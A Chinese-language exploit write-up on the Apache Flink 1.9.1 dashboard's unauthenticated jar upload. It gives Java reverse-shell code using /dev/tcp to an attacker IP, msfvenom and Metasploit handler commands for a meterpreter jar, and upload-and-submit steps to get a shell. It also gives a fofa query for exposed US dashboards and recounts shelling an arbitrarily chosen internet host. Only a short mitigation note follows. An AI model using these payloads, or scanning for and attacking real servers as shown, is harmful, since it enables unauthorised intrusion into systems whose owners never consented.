漏洞描述:
2019年11月11號,安全工程師henry chen披露了一個apache flink未授權上傳jar包導致遠程代碼執行的漏洞。由于apache flink dashboard 默認無需認證即可訪問,通過上傳惡意jar包并觸發惡意代碼執行,從而獲取shell。
影響范圍
環境搭建:
(1) 提前安裝好Java(需要java8以上)
(2) 下載flink-1.9.1
下載地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解壓下載的壓縮包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 進去到解壓后的目錄中,來到其bin目錄下:
(5) 啟動flink:
./start-cluster.sh
(6) 瀏覽器訪問驗證(默認端口為8081):
http://172.26.1.108:8081
出現上圖即搭建成功.
(7) 設置開機自啟(這里折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟后并不會啟動flink,最后找到了解決方法)
開機自啟設置
漏洞復現:
jar包制作步驟:
(1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell
記得修改ip和端口:
代碼:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br/> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br/> Process p = r.exec(cmd); <br/> p.waitFor();<br/> }}</p><p >(2) 利用eclipse將其導出為一個可執行的jar包: a. 點擊 File-->Export(導出)</p>
b.然后選擇java–>Runnable JAR file
c.然后選擇對應的java項目和導出路徑以及導出文件名
圖片
這樣就生成了一個反彈shell的jar包
msf生成jar馬:
(1) 利用msfvenom來生成一個jar馬:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打開msf的監聽模塊,并監聽9999端口(要與我們jar馬設置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上傳我們生成的jar馬并提交后(這部分操作參考下面的復現),可以看到我們成功接收到shell:
本地復現:
(1) 訪問目標:
(2) 點擊Submit New job,打開上傳jar包的頁面:
(3) 點擊Add New選擇我們制作好的jar包:
(4) 我們的機器上監聽好端口(我們制作的jar包是直接反彈shell的)
(5) 點擊我們剛剛上傳的jar包:
(6) 然后點擊Submit即可,可以看到我們已經成功接收到了shell:
互聯網站點:
fofa關鍵詞:
“apache-flink-dashboard” && country=”US”
(1) 隨便找一個目標:
(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar包
(3) 利用flink上傳jar包的功能將我們的jar包上傳:
(4) 上傳后,我們在我們的vps上監聽好端口
(5) 然后回到瀏覽器,選中我們剛剛上傳的jar包,然后點擊Submitting提交,可以看到我們的vps已經成功接收到了shell
漏洞修復:
建議設置防火墻策略,僅允許白名單ip訪問 apache flink服務,并在Web代理(如apache httpd)中增加對該服務的digest認證。
時刻關注官網,等待新版本或補丁更新